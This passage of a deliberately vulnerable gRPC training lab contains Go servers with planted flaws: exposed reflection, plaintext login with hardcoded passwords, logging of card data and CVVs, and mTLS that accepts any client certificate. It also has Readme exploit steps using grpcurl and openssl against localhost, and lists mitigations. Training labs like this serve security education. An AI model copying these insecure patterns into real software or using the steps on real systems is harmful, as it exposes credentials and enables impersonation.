27 | WORKDIR /root/
28 |
29 | COPY --from=builder /app/service-discovery .
30 |
31 | EXPOSE 8001
32 |
33 | CMD ["./service-discovery"]
--------------------------------------------------------------------------------
/labs/grpc-001-reflection-enabled/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 001: gRPC Reflection Enabled
2 |
3 | ## Vulnerability
4 | Service Discovery API with gRPC reflection enabled, exposing hidden admin methods.
5 |
6 | ## Objective
7 | Find and call the hidden admin method to capture the flag.
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-001 .
13 | docker run -p 8001:8001 grpc-001
14 | ```
15 |
16 | ## Exploit
17 | ```bash
18 | # Install grpcurl
19 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
20 |
21 | # Discover services via reflection
22 | grpcurl -plaintext localhost:8001 list
23 |
24 | # Find hidden admin method
25 | grpcurl -plaintext localhost:8001 list servicediscovery.ServiceDiscovery
26 |
27 | # Call hidden admin endpoint
28 | grpcurl -plaintext -d '{"admin_token": "fake"}' \
29 | localhost:8001 servicediscovery.ServiceDiscovery/AdminListAllServices
30 | ```
31 |
32 | ## Impact
33 | Attackers can discover and access hidden admin services and internal endpoints.
34 |
35 | ## Flag
36 | Successfully call the hidden admin method to get: `GRPC_GOAT{reflection_exposes_hidden_admin_methods}`
37 |
38 | ## Mitigation
39 |
40 | Disable reflection in production.
--------------------------------------------------------------------------------
/labs/grpc-001-reflection-enabled/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-001-reflection-enabled/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-001-reflection-enabled/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "log"
6 | "net"
7 |
8 | "google.golang.org/grpc"
9 | "google.golang.org/grpc/peer"
10 | "google.golang.org/grpc/reflection"
11 |
12 | pb "grpc-goat/labs/grpc-001-reflection-enabled/server/proto"
13 | )
14 |
15 | // unaryInterceptor logs client IP addresses for all requests
16 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
17 | // Extract client IP from context
18 | peer, ok := peer.FromContext(ctx)
19 | if ok {
20 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
21 | }
22 |
23 | // Call the actual handler
24 | return handler(ctx, req)
25 | }
26 |
27 | type serviceDiscoveryServer struct {
28 | pb.UnimplementedServiceDiscoveryServer
29 | }
30 |
31 | func newServiceDiscoveryServer() *serviceDiscoveryServer {
32 | return &serviceDiscoveryServer{}
33 | }
34 |
35 | func (s *serviceDiscoveryServer) ListServices(ctx context.Context, req *pb.ListServicesRequest) (*pb.ListServicesResponse, error) {
36 |
37 | services := []*pb.ServiceInfo{
38 | {Name: "user-api", Endpoint: "user-api:8080", Type: "public"},
39 | {Name: "payment-service", Endpoint: "payment:8081", Type: "public"},
40 | }
41 |
42 | return &pb.ListServicesResponse{
43 | Services: services,
44 | }, nil
45 | }
46 |
47 | func (s *serviceDiscoveryServer) AdminListAllServices(ctx context.Context, req *pb.AdminListAllServicesRequest) (*pb.AdminListAllServicesResponse, error) {
48 | publicServices := []*pb.ServiceInfo{
49 | {Name: "user-api", Endpoint: "user-api:8080", Type: "public"},
50 | {Name: "payment-service", Endpoint: "payment:8081", Type: "public"},
51 | }
52 |
53 | adminServices := []*pb.ServiceInfo{
54 | {Name: "admin-panel", Endpoint: "admin:9090", Type: "admin"},
55 | {Name: "database-admin", Endpoint: "db-admin:9091", Type: "admin"},
56 | {Name: "user-management", Endpoint: "user-mgmt:9092", Type: "admin"},
57 | }
58 |
59 | return &pb.AdminListAllServicesResponse{
60 | PublicServices: publicServices,
61 | AdminServices: adminServices,
62 | Flag: "GRPC_GOAT{reflection_exposes_hidden_admin_methods}",
63 | }, nil
64 | }
65 |
66 | func main() {
67 | lis, err := net.Listen("tcp", ":8001")
68 | if err != nil {
69 | log.Fatalf("Failed to listen: %v", err)
70 | }
71 |
72 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
73 |
74 | pb.RegisterServiceDiscoveryServer(s, newServiceDiscoveryServer())
75 |
76 | reflection.Register(s)
77 |
78 | log.Println("gRPC server starting on port 8001...")
79 | if err := s.Serve(lis); err != nil {
80 | log.Fatalf("Failed to serve: %v", err)
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/labs/grpc-001-reflection-enabled/server/proto/service_discovery.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package servicediscovery;
4 |
5 | option go_package = "grpc-goat/labs/grpc-001-reflection-enabled/server/proto";
6 |
7 | // ServiceDiscovery provides an internal API registry for developers
8 | service ServiceDiscovery {
9 | // ListServices returns public services only
10 | rpc ListServices(ListServicesRequest) returns (ListServicesResponse);
11 |
12 | // AdminListAllServices returns ALL services including hidden admin services
13 | // This should be a protected endpoint but is exposed via reflection
14 | rpc AdminListAllServices(AdminListAllServicesRequest) returns (AdminListAllServicesResponse);
15 | }
16 |
17 | message ListServicesRequest {
18 | // Empty - no parameters needed
19 | }
20 |
21 | message ListServicesResponse {
22 | repeated ServiceInfo services = 1;
23 | }
24 |
25 | message AdminListAllServicesRequest {
26 | string admin_token = 1;
27 | }
28 |
29 | message AdminListAllServicesResponse {
30 | repeated ServiceInfo public_services = 1;
31 | repeated ServiceInfo admin_services = 2;
32 | string flag = 3; // CTF flag for completing this challenge
33 | }
34 |
35 | message ServiceInfo {
36 | string name = 1;
37 | string endpoint = 2;
38 | string type = 3;
39 | }
40 |
--------------------------------------------------------------------------------
/labs/grpc-002-plaintext-grpc/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/auth.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN go build -o auth-service main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates
27 | WORKDIR /root/
28 |
29 | COPY --from=builder /app/auth-service .
30 |
31 | EXPOSE 8002
32 |
33 | CMD ["./auth-service"]
--------------------------------------------------------------------------------
/labs/grpc-002-plaintext-grpc/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 002: Plaintext gRPC
2 |
3 | ## Vulnerability
4 | Auth Service sending credentials over unencrypted gRPC connections.
5 |
6 | ## Objective
7 | Successfully login to capture the flag (credentials are visible in plaintext).
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-002 .
13 | docker run -p 8002:8002 grpc-002
14 | ```
15 |
16 | ## Exploit
17 | ```bash
18 | # Install grpcurl
19 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
20 |
21 | # Intercept plaintext login (credentials visible in network traffic)
22 | grpcurl -plaintext -d '{"username": "admin", "password": "admin123"}' \
23 | localhost:8002 auth.AuthService/Login
24 |
25 | # Try other users
26 | grpcurl -plaintext -d '{"username": "user", "password": "password123"}' \
27 | localhost:8002 auth.AuthService/Login
28 |
29 | grpcurl -plaintext -d '{"username": "developer", "password": "dev456"}' \
30 | localhost:8002 auth.AuthService/Login
31 | ```
32 |
33 | ## Impact
34 | Attackers can intercept and reuse credentials and session tokens sent over plaintext.
35 |
36 | ## Flag
37 | Successfully login to get: `GRPC_GOAT{plaintext_credentials_intercepted}`
38 |
39 | ## Mitigation
40 | Use TLS encryption for all gRPC communications.
--------------------------------------------------------------------------------
/labs/grpc-002-plaintext-grpc/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-002-plaintext-grpc/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-002-plaintext-grpc/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "log"
6 | "net"
7 |
8 | "google.golang.org/grpc"
9 | "google.golang.org/grpc/peer"
10 |
11 | pb "grpc-goat/labs/grpc-002-plaintext-grpc/server/proto"
12 | )
13 |
14 | // unaryInterceptor logs client IP addresses for all requests
15 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
16 | // Extract client IP from context
17 | peer, ok := peer.FromContext(ctx)
18 | if ok {
19 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
20 | }
21 |
22 | // Call the actual handler
23 | return handler(ctx, req)
24 | }
25 |
26 | type authServer struct {
27 | pb.UnimplementedAuthServiceServer
28 | }
29 |
30 | func newAuthServer() *authServer {
31 | return &authServer{}
32 | }
33 |
34 | func (s *authServer) Login(ctx context.Context, req *pb.LoginRequest) (*pb.LoginResponse, error) {
35 | log.Printf("Login attempt - Username: %s, Password: %s", req.Username, req.Password)
36 |
37 | // Simple hardcoded credentials check
38 | validCredentials := map[string]string{
39 | "admin": "admin123",
40 | "user": "password123",
41 | "developer": "dev456",
42 | }
43 |
44 | if password, exists := validCredentials[req.Username]; exists && password == req.Password {
45 | return &pb.LoginResponse{
46 | Success: true,
47 | Message: "Login successful",
48 | SessionToken: "session_" + req.Username + "_12345",
49 | Flag: "GRPC_GOAT{plaintext_credentials_intercepted}",
50 | }, nil
51 | }
52 |
53 | return &pb.LoginResponse{
54 | Success: false,
55 | Message: "Invalid credentials pass username:admin and password:admin123 to login",
56 | }, nil
57 | }
58 |
59 | func main() {
60 | // Listen on port 8002
61 | lis, err := net.Listen("tcp", ":8002")
62 | if err != nil {
63 | log.Fatalf("Failed to listen: %v", err)
64 | }
65 |
66 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
67 |
68 | // Register our service
69 | pb.RegisterAuthServiceServer(s, newAuthServer())
70 |
71 | log.Println("Auth gRPC server starting on port 8002...")
72 | log.Println("WARNING: Server running in PLAINTEXT mode - all credentials are visible!")
73 | log.Println("Test users: admin/admin123, user/password123, developer/dev456")
74 |
75 | if err := s.Serve(lis); err != nil {
76 | log.Fatalf("Failed to serve: %v", err)
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/labs/grpc-002-plaintext-grpc/server/proto/auth.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package auth;
4 |
5 | option go_package = "grpc-goat/labs/grpc-002-plaintext-grpc/server/proto";
6 |
7 | // AuthService handles user authentication
8 | service AuthService {
9 | // Login authenticates a user and returns a session token
10 | rpc Login(LoginRequest) returns (LoginResponse);
11 | }
12 |
13 | message LoginRequest {
14 | string username = 1;
15 | string password = 2;
16 | }
17 |
18 | message LoginResponse {
19 | bool success = 1;
20 | string message = 2;
21 | string session_token = 3;
22 | string flag = 4; // CTF flag for completing this challenge
23 | }
24 |
--------------------------------------------------------------------------------
/labs/grpc-003-insecure-tls/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/billing.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN go build -o billing-service main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates
27 | WORKDIR /root/
28 |
29 | COPY --from=builder /app/billing-service .
30 |
31 | EXPOSE 8003
32 |
33 | CMD ["./billing-service"]
--------------------------------------------------------------------------------
/labs/grpc-003-insecure-tls/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 003: Insecure TLS
2 |
3 | ## Vulnerability
4 | Billing Service using self-signed certificates that can't be verified by clients.
5 |
6 | ## Objective
7 | Process a payment to capture the flag (despite TLS warnings).
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-003 .
13 | docker run -p 8003:8003 grpc-003
14 | ```
15 |
16 | ## Exploit
17 | ```bash
18 | # Install grpcurl
19 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
20 |
21 | # Connect with insecure TLS (ignore certificate errors)
22 | grpcurl -insecure -d '{
23 | "customer_id": "CUST001",
24 | "card_number": "4111111111111111",
25 | "expiry_date": "12/25",
26 | "cvv": "123",
27 | "amount": 99.99,
28 | "currency": "USD"
29 | }' localhost:8003 billing.BillingService/ProcessPayment
30 |
31 | # Alternative: Use openssl to see certificate details
32 | openssl s_client -connect localhost:8003 -servername localhost
33 |
34 | # The -insecure flag bypasses certificate validation
35 | # Self-signed cert means no trusted CA validation
36 | ```
37 |
38 | ## Impact
39 | Self-signed certificates allow man-in-the-middle attacks since clients can't verify server identity.
40 |
41 | ## Flag
42 | Successfully process a payment to get: `GRPC_GOAT{insecure_tls_allows_mitm_attacks}`
43 |
44 | ## Mitigation
45 | Use proper CA-signed certificates and strong TLS configuration.
--------------------------------------------------------------------------------
/labs/grpc-003-insecure-tls/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-003-insecure-tls/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-003-insecure-tls/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "crypto/rand"
6 | "crypto/rsa"
7 | "crypto/tls"
8 | "crypto/x509"
9 | "crypto/x509/pkix"
10 | "encoding/pem"
11 | "log"
12 | "math/big"
13 | "net"
14 | "time"
15 |
16 | "google.golang.org/grpc"
17 | "google.golang.org/grpc/credentials"
18 | "google.golang.org/grpc/peer"
19 |
20 | pb "grpc-goat/labs/grpc-003-insecure-tls/server/proto"
21 | )
22 |
23 | // unaryInterceptor logs client IP addresses for all requests
24 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
25 | peer, ok := peer.FromContext(ctx)
26 | if ok {
27 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
28 | }
29 | return handler(ctx, req)
30 | }
31 |
32 | type billingServer struct {
33 | pb.UnimplementedBillingServiceServer
34 | }
35 |
36 | func newBillingServer() *billingServer {
37 | return &billingServer{}
38 | }
39 |
40 | func (s *billingServer) ProcessPayment(ctx context.Context, req *pb.PaymentRequest) (*pb.PaymentResponse, error) {
41 | log.Printf("Payment processing - Customer: %s, Card: %s, CVV: %s, Amount: %.2f %s",
42 | req.CustomerId, req.CardNumber, req.Cvv, req.Amount, req.Currency)
43 |
44 | // Simple validation
45 | if len(req.CardNumber) < 13 || len(req.Cvv) != 3 {
46 | return &pb.PaymentResponse{
47 | Success: false,
48 | Message: "Invalid card details",
49 | }, nil
50 | }
51 |
52 | // Generate transaction ID
53 | transactionID := "TXN_" + req.CustomerId + "_" + time.Now().Format("20060102150405")
54 |
55 | return &pb.PaymentResponse{
56 | Success: true,
57 | Message: "Payment processed successfully",
58 | TransactionId: transactionID,
59 | Flag: "GRPC_GOAT{insecure_tls_allows_mitm_attacks}",
60 | }, nil
61 | }
62 |
63 | // generateSelfSignedCert creates a self-signed certificate
64 | func generateSelfSignedCert() (tls.Certificate, error) {
65 | // Generate private key
66 | priv, err := rsa.GenerateKey(rand.Reader, 2048)
67 | if err != nil {
68 | return tls.Certificate{}, err
69 | }
70 |
71 | // Create certificate template
72 | template := x509.Certificate{
73 | SerialNumber: big.NewInt(1),
74 | Subject: pkix.Name{
75 | Organization: []string{"Insecure Corp"},
76 | Country: []string{"US"},
77 | Province: []string{""},
78 | Locality: []string{"San Francisco"},
79 | StreetAddress: []string{""},
80 | PostalCode: []string{""},
81 | },
82 | NotBefore: time.Now(),
83 | NotAfter: time.Now().Add(365 * 24 * time.Hour), // Valid for 1 year
84 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
85 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
86 | IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
87 | DNSNames: []string{"localhost", "insecure-billing.local"},
88 | }
89 |
90 | // Create certificate
91 | certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
92 | if err != nil {
93 | return tls.Certificate{}, err
94 | }
95 |
96 | // Encode certificate and key to PEM format
97 | certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
98 | keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
99 |
100 | // Create TLS certificate
101 | cert, err := tls.X509KeyPair(certPEM, keyPEM)
102 | if err != nil {
103 | return tls.Certificate{}, err
104 | }
105 |
106 | return cert, nil
107 | }
108 |
109 | func main() {
110 | lis, err := net.Listen("tcp", ":8003")
111 | if err != nil {
112 | log.Fatalf("Failed to listen: %v", err)
113 | }
114 |
115 | // VULNERABILITY: Generate self-signed certificate
116 | cert, err := generateSelfSignedCert()
117 | if err != nil {
118 | log.Fatalf("Failed to generate certificate: %v", err)
119 | }
120 |
121 | // VULNERABILITY: Create TLS config with insecure settings
122 | tlsConfig := &tls.Config{
123 | Certificates: []tls.Certificate{cert},
124 | // INSECURE: Self-signed certificate (no CA validation)
125 | // INSECURE: Allow any client to connect without proper verification
126 | ClientAuth: tls.NoClientCert,
127 | // INSECURE: Allow older TLS versions
128 | MinVersion: tls.VersionTLS12,
129 | MaxVersion: tls.VersionTLS13,
130 | }
131 |
132 | creds := credentials.NewTLS(tlsConfig)
133 | s := grpc.NewServer(
134 | grpc.Creds(creds),
135 | grpc.UnaryInterceptor(unaryInterceptor),
136 | )
137 |
138 | pb.RegisterBillingServiceServer(s, newBillingServer())
139 |
140 | log.Println("Billing gRPC server starting on port 8003...")
141 | log.Println("WARNING: Using self-signed certificate and weak TLS configuration!")
142 | log.Println("Test payment: customer_id=CUST001, card_number=4111111111111111, cvv=123")
143 |
144 | if err := s.Serve(lis); err != nil {
145 | log.Fatalf("Failed to serve: %v", err)
146 | }
147 | }
148 |
--------------------------------------------------------------------------------
/labs/grpc-003-insecure-tls/server/proto/billing.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package billing;
4 |
5 | option go_package = "grpc-goat/labs/grpc-003-insecure-tls/server/proto";
6 |
7 | // BillingService processes customer payments
8 | service BillingService {
9 | // ProcessPayment processes a customer payment
10 | rpc ProcessPayment(PaymentRequest) returns (PaymentResponse);
11 | }
12 |
13 | message PaymentRequest {
14 | string customer_id = 1;
15 | string card_number = 2;
16 | string expiry_date = 3;
17 | string cvv = 4;
18 | double amount = 5;
19 | string currency = 6;
20 | }
21 |
22 | message PaymentResponse {
23 | bool success = 1;
24 | string message = 2;
25 | string transaction_id = 3;
26 | string flag = 4; // CTF flag for completing this challenge
27 | }
28 |
--------------------------------------------------------------------------------
/labs/grpc-004-arbitary-mtls/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/partner.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN go build -o partner-api main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates openssl
27 | WORKDIR /root/
28 |
29 | COPY --from=builder /app/partner-api .
30 |
31 | EXPOSE 8004
32 |
33 | CMD ["./partner-api"]
--------------------------------------------------------------------------------
/labs/grpc-004-arbitary-mtls/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 004: Arbitrary mTLS
2 |
3 | ## Vulnerability
4 | Partner API accepts any client certificate, allowing attackers to impersonate trusted partners.
5 |
6 | ## Objective
7 | Generate a fake client certificate and access partner data to capture the flag.
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-004 .
13 | docker run -p 8004:8004 grpc-004
14 | ```
15 |
16 | ## Exploit
17 |
18 | ### Step 1: Generate a fake client certificate
19 | ```bash
20 | # Generate client private key
21 | openssl genrsa -out client.key 2048
22 |
23 | # Generate client certificate signing request
24 | openssl req -new -key client.key -out client.csr -subj "/CN=FakePartner/O=AttackerCorp"
25 |
26 | # Generate self-signed client certificate
27 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365
28 | ```
29 |
30 | ### Step 2: Use the fake certificate to access partner data
31 | ```bash
32 | # Install grpcurl
33 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
34 |
35 | # Connect using the fake client certificate
36 | grpcurl -proto partner.proto -insecure -cert client.crt -
37 | key client.key -d '{
38 | "partner_id": "FAKE_PARTNER",
39 | "data_type": "all"
40 | }' localhost:8004 partner.PartnerAPI/GetPartnerData
41 | ```
42 |
43 | ## Impact
44 | Attackers can impersonate any partner and access sensitive API keys and secrets.
45 |
46 | ## Flag
47 | Successfully access partner data to get: `GRPC_GOAT{arbitrary_mtls_bypasses_partner_auth}`
48 |
49 | ## Mitigation
50 | Implement proper certificate validation with a trusted CA and certificate pinning.
--------------------------------------------------------------------------------
/labs/grpc-004-arbitary-mtls/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-004-arbitary-mtls/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-004-arbitary-mtls/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "crypto/rand"
6 | "crypto/rsa"
7 | "crypto/tls"
8 | "crypto/x509"
9 | "crypto/x509/pkix"
10 | "encoding/pem"
11 | "log"
12 | "math/big"
13 | "net"
14 | "time"
15 |
16 | "google.golang.org/grpc"
17 | "google.golang.org/grpc/credentials"
18 | "google.golang.org/grpc/peer"
19 |
20 | pb "grpc-goat/labs/grpc-004-arbitary-mtls/server/proto"
21 | )
22 |
23 | // unaryInterceptor logs client IP addresses and certificate info
24 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
25 | peer, ok := peer.FromContext(ctx)
26 | if ok {
27 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
28 |
29 | // Log client certificate info if available
30 | if tlsInfo, ok := peer.AuthInfo.(credentials.TLSInfo); ok {
31 | if len(tlsInfo.State.PeerCertificates) > 0 {
32 | cert := tlsInfo.State.PeerCertificates[0]
33 | log.Printf("Client cert: Subject=%s, Issuer=%s", cert.Subject, cert.Issuer)
34 | }
35 | }
36 | }
37 | return handler(ctx, req)
38 | }
39 |
40 | type partnerServer struct {
41 | pb.UnimplementedPartnerAPIServer
42 | }
43 |
44 | func newPartnerServer() *partnerServer {
45 | return &partnerServer{}
46 | }
47 |
48 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) {
49 | log.Printf("Partner data request - Partner: %s, Type: %s", req.PartnerId, req.DataType)
50 |
51 | // Return sensitive partner information (this should be restricted!)
52 | partners := []*pb.PartnerInfo{
53 | {
54 | PartnerId: "PARTNER_001",
55 | Name: "TechCorp Solutions",
56 | ApiKey: "tc_live_sk_1234567890abcdef",
57 | Secret: "tc_secret_xyz789",
58 | Permissions: []string{"read", "write", "admin"},
59 | },
60 | {
61 | PartnerId: "PARTNER_002",
62 | Name: "DataFlow Inc",
63 | ApiKey: "df_live_pk_fedcba0987654321",
64 | Secret: "df_secret_abc123",
65 | Permissions: []string{"read", "analytics"},
66 | },
67 | {
68 | PartnerId: "PARTNER_003",
69 | Name: "SecureBank API",
70 | ApiKey: "sb_live_key_999888777666",
71 | Secret: "sb_secret_banking_2024",
72 | Permissions: []string{"financial", "transactions", "admin"},
73 | },
74 | }
75 |
76 | return &pb.PartnerDataResponse{
77 | Success: true,
78 | Message: "Partner data retrieved successfully",
79 | Partners: partners,
80 | Flag: "GRPC_GOAT{arbitrary_mtls_bypasses_partner_auth}",
81 | }, nil
82 | }
83 |
84 | // generateSelfSignedCert creates a self-signed certificate
85 | func generateSelfSignedCert() (tls.Certificate, error) {
86 | priv, err := rsa.GenerateKey(rand.Reader, 2048)
87 | if err != nil {
88 | return tls.Certificate{}, err
89 | }
90 |
91 | template := x509.Certificate{
92 | SerialNumber: big.NewInt(1),
93 | Subject: pkix.Name{
94 | Organization: []string{"Partner API Corp"},
95 | Country: []string{"US"},
96 | Province: []string{""},
97 | Locality: []string{"San Francisco"},
98 | StreetAddress: []string{""},
99 | PostalCode: []string{""},
100 | },
101 | NotBefore: time.Now(),
102 | NotAfter: time.Now().Add(365 * 24 * time.Hour),
103 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
104 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
105 | IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
106 | DNSNames: []string{"localhost", "partner-api.local"},
107 | }
108 |
109 | certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
110 | if err != nil {
111 | return tls.Certificate{}, err
112 | }
113 |
114 | certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
115 | keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
116 |
117 | cert, err := tls.X509KeyPair(certPEM, keyPEM)
118 | if err != nil {
119 | return tls.Certificate{}, err
120 | }
121 |
122 | return cert, nil
123 | }
124 |
125 | func main() {
126 | lis, err := net.Listen("tcp", ":8004")
127 | if err != nil {
128 | log.Fatalf("Failed to listen: %v", err)
129 | }
130 |
131 | // Generate server certificate
132 | cert, err := generateSelfSignedCert()
133 | if err != nil {
134 | log.Fatalf("Failed to generate certificate: %v", err)
135 | }
136 |
137 | // VULNERABILITY: mTLS configuration that accepts ANY client certificate
138 | tlsConfig := &tls.Config{
139 | Certificates: []tls.Certificate{cert},
140 | // INSECURE: Require client certificates but don't verify them properly
141 | ClientAuth: tls.RequireAnyClientCert,
142 | // INSECURE: No client certificate verification
143 | InsecureSkipVerify: false,
144 | // INSECURE: Accept any client certificate without validation
145 | }
146 |
147 | creds := credentials.NewTLS(tlsConfig)
148 | s := grpc.NewServer(
149 | grpc.Creds(creds),
150 | grpc.UnaryInterceptor(unaryInterceptor),
151 | )
152 |
153 | pb.RegisterPartnerAPIServer(s, newPartnerServer())
154 |
155 | log.Println("Partner API gRPC server starting on port 8004...")
156 | log.Println("WARNING: mTLS accepts ANY client certificate - no proper validation!")
157 | log.Println("Attackers can generate their own certificates to access partner data")
158 |
159 | if err := s.Serve(lis); err != nil {
160 | log.Fatalf("Failed to serve: %v", err)
161 | }
162 | }
163 |
--------------------------------------------------------------------------------
/labs/grpc-004-arbitary-mtls/server/proto/partner.proto:
--------------------------------------------------------------------------------
